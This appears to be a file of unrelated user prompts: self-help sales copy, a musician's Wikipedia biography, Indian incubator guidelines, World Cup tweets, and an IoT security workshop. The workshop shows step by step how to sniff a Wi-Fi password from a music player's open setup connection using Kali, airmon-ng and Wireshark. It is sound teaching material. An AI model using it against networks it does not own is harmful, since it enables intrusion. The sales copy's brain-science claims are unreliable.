honestly see what U are doing each day so U Sculpt new MindStates Of Success rather than the energy of uncertainty…\nthis takes 10 minutes\n\nThe whole DaySculpting process takes 30 minutes a day…and as I always say if U don’t have \n30 minutes to change your life then U don’t want to change your life and U are okay with living \na mediocre life…\n\nDay Sculpting is about targeting specific Chief Aims U have for your life…and creating the Habits that will get U there…Imagine being able to replace the MindTraps (your limiting beliefs) with empowering rituals and habits that become your new normal…\n\nThrough the repetition of doing the daily DaySculpting process U are carving into your Subconscious memory thoughts, beliefs and actions that result in U sculpting the masterpiece known as U…\n\nThere are many programs out there that attempt to instill new success behaviors however many fall short of actually shifting your MindStates into a frequency of possibility where U get to actually see your daily results immediately…DaySculpting does this…\n\nThis is not science fiction… and it\'s not wishful thinking, or some tired old self-improvement, goal-setting program… DaySculpting is a program that empowers U to manifest and realize your Chief Aims in life\n\n"DaySculpting" -- is a tool that takes just MINUTES a day for you to use…\n\nIt is designed to FREE UP hours in your day… while at the SAME time empowering you for greater success in ANY area of your life.\n\nDaySculpting sheds light and solves an age-old problem:\nWHY we often fight against the very changes we desire to make\n\nHave you ever experienced the FEELING that you deserve MORE out of your life? More financial freedom and greater rewards from the hard work you do every day? Deeper, more empowering relationships with those you love… or maybe just meeting that special someone to share your life with? Perhaps you crave a deeper spiritual connection… or a more healthy, trim, energetic body?… \nYET:\nDespite your BEST intentions… you struggle. Perhaps if you\'re anything like me, you even self-sabotage your results with actions that you KNOW are not in your best interest.\n\nMaybe it FEELS like it did for me: Like you are swimming upstream… making SOME progress, sure, but just not reaching your goals and desires fast enough.\n\nWell, I have wonderful news for you: It\'s not because you\'re lazy… and it\'s not because you are not smart enough, competent enough… or ANYTHING enough! \n\nThe real REASON you desire more and are not seeing ALL the results you deserve lies within whether the Success Switch in your brain is in the ON or OFF position…\n\nThe SOLUTION… THE ANSWER to flipping your Success Switch back ON lies within the simple daily steps U will take when U experience the DaySculpting Program… \nThe Day Sculpting Program Is A Simple Step Daily Success RITUAL \u2028 That Shuts Down Your Body\'s Failure Reflex \u2028 So YOU Tap Into Your Brains Success Centers…\u2028 In Just Minutes A Day!\u2028\u2028 IIMAGINE Knowing What HIGHLY SUCCESSFUL \u2028 People Do EVERYDAY…\nFor Abundance And Wealth, Greater Health, Self-Confidence Meaningful Relationships, Sharper Focus , Deeper Joy…\u2028 And So Much More…\n“Now You Too Can Use This 90-Day Game Changer\u2028 To Tap Into The Key Success Centers Of Your Mind,\u2028 And In Just Minutes You Can Transform Even Lousy Days\u2028 Into Days Filled With The Results You Desire – Guaranteed!”\nTO MAKE A GREAT LIFE, ALL YOU HAVE TO IS MAKE EACH DAY A GREAT DAY … \nThen get up tomorrow and do the same thing, day after day after day.\nARE YOU Ready To Change YOUR LIFE One Day At A Time…\nThe comprehensive, fun and empowering 90-day DaySculpting program provides you with the life skills and tools to help you master a new MindState of Success and a range of powerful life-changing rituals and habits that will Sculpt Your Perfect Days Into A Great Life.\nDAY SCULPTING WILL TEACH YOU:\n• The science behind HAVING A MindState Of Success...and why most people who want more in life actually have their success switch turned off by total accident!\n• How to get more done with more time and more energy left over!\n• The simple, yet powerful, process of building a powerful day so you create a series of "Dynamic Days" - days that will end up building your most incredible life (The one you always thought was out of reach!)\n• Learn the \'Day Sculpting Principles\'. These can have a huge impact on you your life, but when you learn how simple they really are, you can use them easily and consistently!\n• How in just a few minutes a day, you can keep positive results flowing and put your success energy into a permanent \'ON\' position!\n• And much more!\nDaySculpting, is for those who are willing to take their life to the next level by creating new Success Habits replacing the ones that have been sabotaging your success. \nSo make sure you can honestly agree with the following before experiencing DaySculpting:\n• You desire more out of life, yet feel as if you are "missing something" -- that special "X Factor" to take you to the next level?\n• You are brave enough to boldly say, "I want greater wealth and financial freedom... and I demand the best lifestyle possible for me and my family!\n• You know the value of joy: You want to experience greater happiness, peace of mind, and connection with your friends and loved ones on a daily basis.\nIf you agree with the above, and truly want to create the best life possible, with greater wealth, freedom, happiness, love, and fulfillment, then I invite you to experience the power of Day Sculpting …it will change the way you think about creating your day and the life you dream about. \nI am not encouraging you to become busier but rather to use your mental and emotional, energy more elegantly sculpting your day the way you want it to be. \nHow many times have you done a ton of work and still felt that you didn’t accomplish what you really wanted for yourself. Week after week, month after month go by and you still are no farther ahead of the game…stuck in the status quo that never seems to change.\n\nBreaking free means that the status quo of your life has to change… your habits of expectation have to change …your mindset has to change…you have to uncover those old behaviors that have held you back and be willing to create a new mindset.\n\nYou have to be willing to shift your daily focus inwards towards what you need to do today rather than tomorrow. Because when you create a great day today you welcome in a more powerful tomorrow.\n\nWe all have the same 24 hours each day. But why are some people building fabulous careers, achieving healthy lifestyles, enjoying great relationships and incomes, living their passions, and creating what they truly desire as a life?\n\nImagine that you could clear away the distractions that you unconsciously create. You know the stuff that consumes your time causes stress and disconnects you from your purpose and passion. \n\nImagine every day you embrace the energy for what you are choosing to create in your life. Your thoughts empower you, your choices inspire you and your actions create momentum, opportunity and possibility.\n\nYou can create a GREAT LIFE, the life you want to live by focusing your efforts on Creating a Great Day Today. That’s Day Sculpting. Seven intentional sculpted days turn into a month of wonderful weeks and a year of magnificent months creating an amazingly successful life.\n\nNone of this is going to work though if you believe that what you were born with is all you will get…\n\nNo one will ever attempt to do something when they are convinced that they will fail.\n\nResearch has shown that the brain will actually stop itself from doing what’s necessary to succeed if a person believes that they cannot succeed.\n\nIt’s the small concrete indicators of success today that will prove you can have whatever it is you want and the process of Day Sculpting will empowers, inspire and motivates you each step of the way.\n\nYou see: Confidence + Discipline = Desired Outcomes \n\nIt’s time to stop looking at your life from a fear based I don’t know how to mindset but rather be open to creating a solutions focused change consciousness that embraces your gift and talents and encourages you sharing them.\n\nLet me share a bit of nuero-chemistry with you…\nWhat fires together wires together…\n\nSo rather than Fall back on old habits…\nTake the transitional step…of being fully present to whats trying emerge as your ideal future and to help it along start building confidence each day…\n\nAnd your possibility muscle and an intended thought process that leads to a more focused and clear out picturing of your desires.\n\nYou see...It’s one thing to set goals and to make to do lists and to say your going to use the law of attraction to manifest what you want in life…\n\nI’m still looking at the many lists I have created.\n\nWhat it’s really about is having a clear and purposeful intention in order to create the energy and the MindState Of success that will propel you into action.\n----\n\nWhen done ask me for part 2' -'Please read JMB\'s wikipedia: Jean-Michel Blais\nFrom Wikipedia, the free encyclopedia\nJump to navigationJump to search\nJean-Michel Blais\nBlais in 2018\nBlais in 2018\nBackground information\nBorn 1984 (age 37–38)\nOrigin Nicolet, Quebec, Canada\nGenres \nMinimalistavant-gardeneoclassical\nInstrument(s) Piano\nYears active 2015–present\nLabels Arts & Crafts\nWebsite jeanmichelblais.com\nJean-Michel Blais (born 1984) is a composer and pianist from Quebec, Canada.\n\nHis music is influenced by a range of composers and pianists such as Frédéric Chopin, Sergei Rachmaninoff, Maurice Ravel, classical minimalists (Steve Reich, Philip Glass, Erik Satie), and modern composers such as Chilly Gonzales and Yann Tiersen. English pop singer Ellie Goulding has cited Blais as an inspiration for her fourth album.[1]\n\nHis debut studio album Il was released in April 2016 on Arts & Crafts, garnering critical acclaim, including making Time magazine\'s top ten albums of the year list.[2] In 2017, he collaborated with Grammy-nominated English-Canadian electronic artist CFCF on the EP Cascades. His sophomore album, Dans ma main, was released on 11 May 2018, also on Arts & Crafts, and on 30 November 2018 Jean-Michel released Eviction Sessions.\nContents\n1 Early life\n2 Career\n2.1 2016: Il\n2.2 2017: Cascades\n2.3 2018: Dans ma main\n2.4 Eviction Sessions, Matthias & Maxime, and Aubades\n3 Discography\n4 References\n5 External links\nEarly life\nJean-Michel Blais grew up in the rural town of Nicolet, Quebec.[3] As a young boy, his parents influenced his love of music. While not serious musicians, his father sang in a choir as a child, and his mother would play the organ.[4] Blais began his musical adventures by "drumming with pots and pans [and] mix-taping Radio-Canada "world" music, traditional, Celtic, [Andean], and Eastern European [music]".[3]\n\nAs a teenager, he took piano lessons, eventually studying at the Trois-Rivières Music Conservatory. However, he found the academic world of music exhausting and restrictive, so he left after two years to travel.[4]\n\nHe travelled to Guatemala, spending several months there working at an orphanage.[4] Looking again for a change, he then moved to Berlin for a year, and then went to South America, spending time in Buenos Aires, Argentina. Finally, Blais decided to settle in Montreal, pursuing a career as a special education teacher.[5] He completed a degree in liberal arts with a minor in psychology while focusing his studies on special education. After graduating, he worked with children with disabilities and behavioural disorders for five years at CEGEP level.\n\nCareer\n2016: Il\nWhile working in special education, Blais slowly rediscovered a fondness for improvising and composing. Blais constructed his debut album, Il, over the course of two years. It was recorded in two days in Blais\' apartment with a Zoom recorder, allowing the ambience of his apartment to come through on the recording.[4]\n\nIf people are going to cough and babies are going to cry, instead of trying to hide it, why not embrace it? I like it when I stop and there\'s something happening outside my window. I think that\'s why my music has a lot of pauses and silences, because there\'s always something happening in the street. I\'ll let it pass and then continue playing.\n\n—\u2009Jean-Michel Blais in an interview with the Montreal Gazette[6]\nBlais communicated via Facebook with his friend Devon Bate, credited on the album as BUFFLO, to mix the album. The recording was done in such a manner that the listener feels surrounded by the music.[7] Blais originally released the album via Bandcamp in 2015, where it was discovered by Arts & Crafts, and subsequently given a proper release on 8 April 2016. Arts & Crafts also released the sheet music for the album, along with a deluxe edition featuring two bonus tracks that was released in October 2016.[8] The album was widely acclaimed, ranking 10th on Time Magazine\'s Top 10 Albums of 2016.[2] Exclaim! gave the album 9/10, writing, "Simply put, Il is a masterpiece."[9]\n\n2017: Cascades\nMichael Silver (a.k.a. CFCF) and Blais first collaborated when the Red Bull Music Academy sponsored a live performance featuring the two artists. Blais and Silver found that they lived around the corner from each other, then started finding similarities in their music and composition style.[10] Cascades features two songs each of their solo works, reworked as a duo, and a cover of John Cage\'s In a Landscape (1948).\nI thought [Jean-Michel\'s music] was beautiful... I just loved it a bunch, especially because it\'s so different from a lot of the other piano music that I had tended to listen to...\n\n—\u2009Michael Silver (CFCF)\nCascades was also met with critical acclaim. For Pitchfork, Andy Beta opined that it "finds Silver and Blais warily feeling one another other out and then synchronizing to exalted effect by the record\'s end," and called the duo\'s version of "In a Landscape", "one of the most unequivocally gorgeous covers imaginable".[11] Exclaim! also highlighted Blais and Silver\'s chemistry, reasoning that "Blais\' playing suits very well the pristine and glossy production Silver employed for those recordings, injecting it with a real sense of purpose here," giving the album an 8/10.[12]\n\n2018: Dans ma main\nDans ma main is Blais\' sophomore solo record, released via Arts & Crafts on 11 May 2018. Exclaim! gave the album 9/10 in an early review, writing "Far from spiralling inward, as always, Blais lets it all flow through him, and as private becomes public, the result is yet another intimate masterpiece".[13] On the album, he experiments with different synth and electronic textures, a concept introduced to him while working with CFCF.\n\nBlais explained in a conversation with CFCF and Red Bull Music Academy, "I never want to lose contact with the original piano instrument, but we have so many tools now to treat it differently than to just have the instrument on its own, so why not use them, and how? It certainly is opening. It gives me sounds and texture possibilities".[14] The album was a shortlisted finalist for the 2018 Polaris Music Prize.[15] In August 2019, Blais released an EP of remixes of Dans ma main.[16]\n\nEviction Sessions, Matthias & Maxime, and Aubades\nEviction Sessions is Blais\' third project, released via Arts & Crafts on 30 November 2018. Eviction Sessions was inspired when Blais was informed he would be evicted from the apartment where he had lived for seven years due to gentrification within his Montreal neighbourhood. This was the same apartment in which Blais recorded his first album of instrumental music, Il. [1]\n\nIn October 2019, Blais released the soundtrack to the Canadian film Matthias & Maxime. He received special mention at the Cannes Soundtrack Award in May of the same year.[17]\n\nIn February 2022, Blais released the album Aubades.[18] The album won the Félix Award for Instrumental Album of the Year at the 44th Félix Awards; it was also nominated for Bestselling Album of the Year, and Blais was a nominee for Most Successful Artist Outside Quebec.[19]\n\nDiscography\nStudio albums\n\nIl (2016)\nDans ma main (2018)\nAubades (2022)\nSoundtracks\n\nMatthias & Maxime (Original Motion Picture Soundtrack) (2019)\nEPs\n\nCascades with CFCF (2017)\nEviction Sessions (2018)\nDans ma main (Remixes) (2019)[20]\nSingles\n\n"Nostos" (2016)\n"il" (2016)\n"roses" (2018)\n"blind" (2018)\n"forteresse" (2018)\n"outsiders" (2018)\nAppearances\n\n"Lullaby" Playing House (Common Holly, 2017)' -'IoT Security, Introduction + Muzo Password Stealer\n1\nCapture WiFi Access Point Credentials using the IoT Muzo Music Player\nThis workshop is based on the use of the Muzo Music Player IoT device. The intention is not to steal\nmusic! Rather the actual device is rather incidental and many an IoT device could have been used. It\njust happens that music players are in very common use. The intention here is to use this device to\nextract an SSID + password of the Access Point to which this – and many IoT devices as well as other\ncommonly used computer equipment is likely to be connected.\nThus this workshop is designed to demonstrate the principles by which an Access Point’s credentials\ncan be obtained by rebooting an IoT device and using WiPi and Kali to capture the SSID + password\nduring the initial open connection before WPA/WPA2 security kicks in. The procedures here are\ncommon to many IoT devices – even if you are doing these experiments in a different order.\nAccess to a Wifi Access Point which operates a home or small business network is a significant\nsecurity risk as the same SSID/password supports a variety of Internet services so this workshop acts\nas a stepping stone to the other IoT workshops in this group.\nMost IoT devices – including this Muzo music player – have their own Access Point and Web Server.\nWe will use an Android to connect to its Access Point and then fire up its web server and nominate\nthe Access Point (usually one which drives the home network) to which we want to be connected. At\nthis stage we have to tell this IoT device what SSID and password we want it to use so that\nsubsequent communication can run over WPA/WPA2 security.\nEquipment used for capturing the Wi-Fi Access Point credentials via an IoT device\nIoT Security, Introduction + Muzo Password Stealer\n2\nThe following steps are:\n1. Plug Muzo into your computer or any power source using the USB cable.\n2. Startup a Wifi Access Point (use the Watchguard Access Point/Firewall) and make sure that\nyour Android can connect to it and check the DHCP address provided by this Access Point.\nLikely to be something like 204.137.98.162 (or similar). Use the Advanced button to verify\nthe IP address.\n3. Start-up the VM: Kali Linux Backtrack IoT Version. Login as root/toor\n4. Make sure that the WiPi dongle is connected to this VM (VM > Removable Devices >\nConnect) and from a terminal window enter iwconfig and you must see an interface up such\nas wlanx\n5. When Muzo is powered up there are two methods for doing a factory reset.\n6. The first method is to press the WPS/reset button for 8 seconds. Don’t press this button and\nplug in at same time as is commonly done when resetting some IoT devices.\nNow skip to Step 10 below\nUnless step 6 did not work you do not need to do steps 7, 8 and 9 below\n7. The second method is to go to the Muzo app\n8. Get Device List and select “cog button”. The screen we should see is not the one to add a\ndevice but one in which the cog appears.\n9. Go to Speaker Info option > Restore Factory Settings\nhttps://muzo.zendesk.com/hc/en-us/articles/208524038-Initiating-a-factory-resetSee descriptions and diagrams below.\nIoT Security, Introduction + Muzo Password Stealer\n3\n10. Next – from Settings on the Android you should see an Access Point under the SSID list\nentitled LinkPlayA31\\_5DF8 (LinkPlayA31 appears first but do not connect to this one).\nConnect to LinkPlayA31\\_5DF8 but it takes about a minute to appear in the Access Point list.\nThis (Muzo) Access Point should have DHCPed you an IP address for your Android of\nsomething like 10.10.10.128. At this stage this is an open (insecure) connection. The IP\naddress can be verified from Advanced option and then scroll down to see an IP address\ne.g. 10.10.10.128. Use the Advanced button to verify the IP address. Remember this IoT\ndevice has its own Wifi hotspot and web server!\n11. Since to sniff the wireless network, we do not want our WiPi wireless device to request an\nIP address and remain in stealth mode. Thus we need to kill the DHCP client process as\nfollows:\n12. From your VM using the command list on the desktop enter:\nIoT Security, Introduction + Muzo Password Stealer\n4\n13. ps -eaf | grep dhc to kill the dhcp client. This is further explained as follows:\nTo kill the DHCP client, enter:\nps -eaf | grep dhc\n(e: show every process on the system; a: except session processes; f: formatted output.\nSee man ps)\nThis command will search for all the running processes and filter those which start with\ndhc. By looking at the processID (1956 in this case, it may change in your case), then enter:\nkill -9 (9 means all levels and essentially kills the dhc process)\nDo not get confused with the ProcessIDs for root (2002 and 1650 in this example) as this is\nthe process that you are running to kill the dhcp client. You should end up with a single line\nwhich is the kill process you are running as below:\nroot 2002 1650 0 .........color=auto dhc\n14. Run the Wifi Analyser app on your Android to determine the channel number used by the\nLinkPlay31 Access Point as illustrated below\n15. Now from your Kali/Backtrack VM use the Wicd Network Manager (Green icon in top bar)\nto obtain an IP address from the same Muzo Access Point. Make sure that you have the\ncorrect wlanx specified under Preferences before connection. If Access Point refresh is not\nworking then restart the VM.\n16. Follow these configuration diagrams on the following page noting that this example is for a\nwlan3 interface (varies) and that this is an open (non-secure) connection at this stage.\nFollowing these steps you should be allocated an IP address for the Muzo Access Point of\nsomething like 10.10.10.129.\nIoT Security, Introduction + Muzo Password Stealer\n5\nIoT Security, Introduction + Muzo Password Stealer\n6\n17. Now the Android has an IP address of the form 10.10.10.128 and the Muzo’s Web Server IP\naddress is 10.10.10.254 which is very commonly used IP web server address for IoT devices.\n18. Now open a browser on the Android and connect to Muzo’s web server – 10.10.10.254.\n19. The next step is to configure your Kali VM to use WiPi to capture traffic in monitor mode in\norder to facilitate the capture of packets in a passive manner. This is done through the\napplication airmon-ng which can be started by entering the following command:\n20. airmon-ng start wlanx y (where y is the channel number – see from Wifi Analyser or\nfrom the LinkPlayA31\\_DF8 entry under the Wicd Network Manager list on the previous page).\nCheck to see if the Wicd connection has dropped as it often does so reconnect and continue.\n21. Wait a few moments for a response. This will enable monitor mode which means that this\nWiPi card can “hear” conversations even though it has not specifically been addressed. To\ncheck type iwconfig\n22. On your WiPi-Kali-Backtrack VM startup Wireshark (enter Wireshark in a new terminal window)\nand from Interfaces select the mon0 interface which will have been initiated in the steps above.\nTo get rid of a heap of broadcast traffic you will need to apply an http filter\n23. Thus once the connection from the Android to the web browser on the Muzo has been\nestablished, a list of possible Access Points is displayed and at this stage choose your preferred\nAccess Point to which your Android and Muzo would normally be connected to. The SSID and\nPassword for this Access Point are already stored and we want to capture these credentials as\nthey are transmitted using the WiPi and Wireshark. At this stage you need to tell the Muzo the\nSSID/password of this desired Access Point so that it can subsequently establish a connection.\n24. Since the connection between the Android and the web server is open this SSID/password can\nbe captured by your WiPi-Kali VM configuration. Unlike some of the other IoT experiments we\nare not asking Wireshark to carry out decryption.\n25. Although not necessary to play music at this stage, the Muzo will not be connected to the\nselected Access Point and the Android must be connected to the same Access Point and when\nthe app is started it should say “found 1 device” and from the menu “My Music” select a song.\nCreate an http filter and look for the POST command as in the diagram below.\nIoT Security, Introduction + Muzo Password Stealer\n7\nTo decode the hex there are two possibilities:\n1. If you have access to the Internet then use the Hex – ASCII converter at:\nwww.asciitohex.com\n2. Use the linux command line tool xxd which creates a HEX to ASCII conversion – or the\nreverse (-r)\necho “hexadecimal string” | xxd -r -p\n-p output in postscript plain hexdump style.\n-r reverse operation: convert HEX into ASCII.\nSee the following two examples:\nFor example (both case sensitive):\nSSID: 49 50 2D 46 6F 72 65 6E 73 69 63 73 \uf0e0 IP-Forensics - or whatever SSID of the Access Point is.\nPassword: 50 23 73 73 77 30 72 64 \uf0e0 P#ssw0rd\nNotes:\nWireless OFF in machine running Kali/Backtrack\nChannel 10 for AP and channel 11 for Muzo\nWhen we bring in a second Android nothing additional needs to be set up.\nNo Ethernet cable to the AP – Wicd to Muzo Access Point only\nTake earpiece for audio to plug into Muzo\nSamsung –Main has no songs loaded. There is a playlist on the Samsung A/P mobile.' -"REVISED OPERATIONAL GUIDELINES FOR LIVELIHOOD \nBUSINESS INCUBATOR (LBI) \n1. Introduction \nLivelihood Business Incubator (LBI) is an entity set up for imparting skii development & \nincubation programmes for promoting entrepreneurship and employment generation in agro-rural \nsector with special focus on rural and underserved areas. \n2. Objectives of LBI: \n• To generate employment opportunities by facilitating formal, scalable micro-enterprise creation. \n• To skill, up-skill, re-skill unemployed, existing self-employed/ wage earners in new technologies. \n• To provide skilled human capital to nearby industrial clusters and promote innovations for \nstrengthening the competitiveness in the MSME sector \n3. Functions of LBI: \n• To conduct outreach programs to create awareness about the initiative and on-board prospective \nbeneficiaries. \n• Design and conduct incubation programs \nenterprise creation. \n• To offer varied support services like \ncompliances, Trademarks, etc. \n• To offer advisory services to the existing \nthem scalable. \nin the fonn of workshops to facilitate new micro\x02financial, legal, product designing, accreditation, \n& informal enterprises to formalize them and make \n• To facilitate funding for micro-entrepreneurs by leveraging various Gol/State Government \nschemes and engaging with financial institutions. \n• To provide hands-on training to trainees by simulating the industrial processes on the plants & \nmac1inefies \n• To create a conducive ecosystem for promoting entrepreneurship and generating employment by \npartnering with local entities catering to the upstream and downstream activities of the chosen \nthrust area. \n• To make provision for using the facility at the Livelihood Business Incubation centre for \ndevelopment of product prototypes. \n4. Eligibility for proposal submission \n• Any agency/institution of Government of IndiaJ State government or; existing training centres \nunder Ministries/Departments of Government of India/State Government, Industry Associations, \nAcademic Institutions. \n• Any not-for-profit private institutions with experience in succcsfully executi g incubation and/or \nskill development programs may be eligible to set up an LBI. \nContd. Page 2/- \n-2- \n5. Submission of Proposal \nThe applicant organization will select a Mentor Institute and upload the proposal through the \nselected Mentor Institute as per the prescribed format online at www.aspire.msme.gov.in \nTill such time, the online portal is fuliy developed and activated, the proposals in soft copy may \nbe sent by the applicant organization to the Mentor Institute and subsequently to the Ministry to \njs.arinic.in. The list of the designated Mentor Institutes along with their contact details will be \navailable on the portal www. aspire.msme.gov.in. \n6. Institutional Arrangement \nWith the growing network of LBIs and the expanded scope thereof, the following scheme \nmanagement structure will be followed. \n6.1 Scheme Steering Committee (SSC) \nA Scheme Steering Committee (SSC) is constituted under the chairpersonship of Secretary \n(MSME) (Annexure 1). The SSC may consist of representatives from other Central Ministries \nunder the Government of India, or expert organizations as members! special invitees, depending \non the functional needs. The SSC will consider the proposals of the Host/Applicant Institutions \nfor setting up of Livelihood Business Incubator (LBI), submtted through s4entor Institutes \n(MIs), and shall extend approval based on satisfying all the parameters set up by the SSC. \n6.2 Mentor Institutes (MI) \nMentor Institutes (MIs) are national/state level institutions with expertise and on-field experience \nin the maj or sub-sectors of the rural industries with a proven track record of at least five (5) years \nin designing and imparting incubation and skill development programs to promote \nentrepreneurship. MIs will assist and handhold the applicant/Host institutes & the LBIs in their \nday-to-day operations. The MTs will also act as a SPOC between the Ministry and the Host \nInstitute/LBI, The institution could be any of the following constitution: \no A Society registered under the Societies Registration Act, 1860. \no A Co-operative Society under an appropriate statute. \no A Section 8 Company under the Companies Act, 2013 (18 of 2013); or \no A Trust. \no Any Central/State government organization. \no Any other agency with the approval of the Scheme Steering Committee of ASPIRE. \n6.2.1 Appointment of Mentor Institutes \nThe detailed eligibility conditions & procedure for selection for Mentor Institutes has been \nenclosed as Annexure 2. SSC shall take a final decision for approval of designated Mentor \nInstitutes. The performance of the MI will be monitored both on quantitative &qualitative \naspects by the SSC. In case of a significant shortfall in the prcgress, the sur port may also be \nterminated mid-term with the approval of SSC. \nThe applications should be sent over an email to js.ari@nic.in. \nContd. Page 3/- \n-3- \n6.2.2 Role of Mentor Institutes \n• Identification of prospective LBIs with relevant experience in skill development and running \nincubation programs, aligned to the local need. \n• MIs may take the assistance of local MSME-DIs and Science and Technology Council members \nin the identification of such proposals. \n• Assisting the Applicant/Host Institutes in preparing the Detailed Project Report (DPR) based on \nthe regional analysis of the industrial landscape, potential skill gap in the region, and the \neconomic strengths, etc. of the region. \n• MI to submit the DPRs to the MoMSME for approval only aftet ensuring the following: \na. Ensuring the DPRs have been created based on the format provided under the scheme guidelines \nand is uploaded to the portal. \nb. Execution of agreement on contribution in the case of eligible private applicants. \nc. Ensuring availability of all necessary compliance documents, and space (5000 sq ft) with the HI \nto set up the proposed LBIs \n• MI shall be responsible for timely disbursement of funds to the HI and ensure submission of \naudited UCs. \n• Providing technical inputs for selection of machinery and ensuring timely procurement of the \nsame. \n• Assisting the His in hiring a dedicated and specialized team of resources to o rate the LBIs. \n• Conducting regular capacity workshops to improve the day-to-day operations and hence, the \nperformance of the LBI. \n• Assisting the HIs in designing the right incubation programme to be implemented by the \nproposed LBI. \n• To maintain and share with the MoMSME, a database of the incubatees. \n• To create and engage an ecosystem for the LBIs enabling micro-enterprise creation. \n• Monitoring & evaluating the performance of the LBI against the target output and outcome \nthrough VCs and physical visits and advising the LBIs on course corrections. \n• To act as a SPOC for grievance redressal for the LBIs. \n• To ensure the Monthly and Quarterly Progress Report is regularly shared with the MoMSME \nalong with any other information sought by the MoMSME. \n• Creating and updating a working plafform for recording and sharing the best practices for the \nLBIo under its umbrella. \n• Creating a platform for converging with various GollState Government schemes to facilitate the \ncreation of micro-enterprises and employment generation. \n• Providing all necessary support for the implementation of the scheme by the His. \n• Any other tasks assigned by the MoMSME. \n• All MTs shall have to act diligently to ensure compliance to all Rules and Regulations, as \nrequired, for the proposals in order to obtain final approval from the SSC. \n6.3 Host Institutes (HI) \nHost Institutes are eligible applicant institutions where the LBIs will be hosted on approval by \nthe SSC. \nContd. Page 4/- \n-4- \n6.3.1 Role of a Host Institute \nConduct an analysis of the region by studying the industrial landscape, the economic strengths of \nthe region, identifying potential capability (skill) gap, etc. to select a thrust area for the proposed \nLBI. \n• Preparation of the Detailed Project Report for the proposed LBI as per the format provided in the \nguidelines with assistance from the Mentor Institutes. \n• Ensure timely procurement of Plant & Machinery as per the proposal for the LBI. \n• Recruitment of dedicated human resources for the operation of the LBI. \n• Conduct outreach programs/drives to mobilize incubatees for the LBI. \n• Tracking and maintaining a detailed database of the incubatees from on-boarding to employment. \n• To create, engage and maintain a working relationship with the stakeholders in the ecosystem like \nnearby academic institutions, Industries, successful entrepreneurs of the area, Financial \nInstitutions, vendors, and suppliers, etc. \n• To seek convergence from various Gol, State Government, and other schemes to facilitate the \ncreation of micro-enterprises and employment generation. \n• Operation & Maintenance (O&M) of assets created under th project. \n• Responsible for furnishing the Utilization Certificate (UCs as per the GFR Norms) and sharing \nmonthly, quarterly progress reports with the respective MI. \n7. Appraisal and Approval Process: \ni. The proposals will be appraised based on their strength in proi.oting liveliho' i-based enterprises \ntaking into account the locally available resources and local needs. \nii. A Project Screening Committee (PSC) shall be constituted under each Mentor Institute (M1) \nchaired by the designated head of the Ml for management and implementation of the scheme. The \nPSC will be responsible for evaluating the DPR prepared by the Host Institutes for setting up the \nLBI based on the prescribed format. Once approved, the DPR may be forwarded to the \nMoMSME for consideration and final approval by the SSC. The committee should constitute of \ndesignated head of the MI, experts on livelihood initiatives, incubation programs, representatives \nof financial institutions, etc. \n8. Quantum of Assistance: \n8.1 Expenditure for procurement of Plant & Machineries. \na. In respect of LBIs to be set up by any Institution/agency of GOI/State Govt. on its own or by any \nof the agency/organization of the M/o MSME, one-time grant of 100% of cost of Plant & \nMachinery other than the land and infrastructure or an amount up to 1NR 100 Iakh, whichever is \nless to be provided. \nb. In case of LBIs to be set up by Private applicants, a one-time grant of 75% of cost of Plant & \nMachinery other than the land and infrastructure or 1NR 15,00 lakhs, whichever is less to be \nprovided. \nc. A total number of 125 such centres are being targeted to be set up under this component between \n2021-22 to 2025-26. \nContd. Page 5!- \n-,- \n8.2 Operaticnal Expenditure: \na. A one-time grant of maximum upto 100 lakhs for the purpose of extending support for running \nday to day operations and not limited to the following: \ni. Hiring a dedicated &specialized team of resources. \nii. Conducting awareness & outreach programs, on-boarding of iticubatees. \niii. Designing & executing the incubation programs in the form of workshops for creation of formal \nmicro-enterprise creation. \niv. To offer support services like regulatory services (FSSAI), GST, Design Support, etc. & engage \nwith various service providers. \nv. Advisory services to the existing & informal enterprises for formalization. \nvi. Procurement of raw materials for hands-on training. \nvii. Maintenance of the plants and machinery." -"Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat's a beautiful goal ???''#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????'Oh my God'This is absolutely beautiful '#ArgentinaVsFrance #FIFAWorldCup 'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\nThat's a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS''2-0''Beautiful goal.''#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal'Absolutely beautiful ?? '#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. I don't even want Argentina to win but I can't deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! 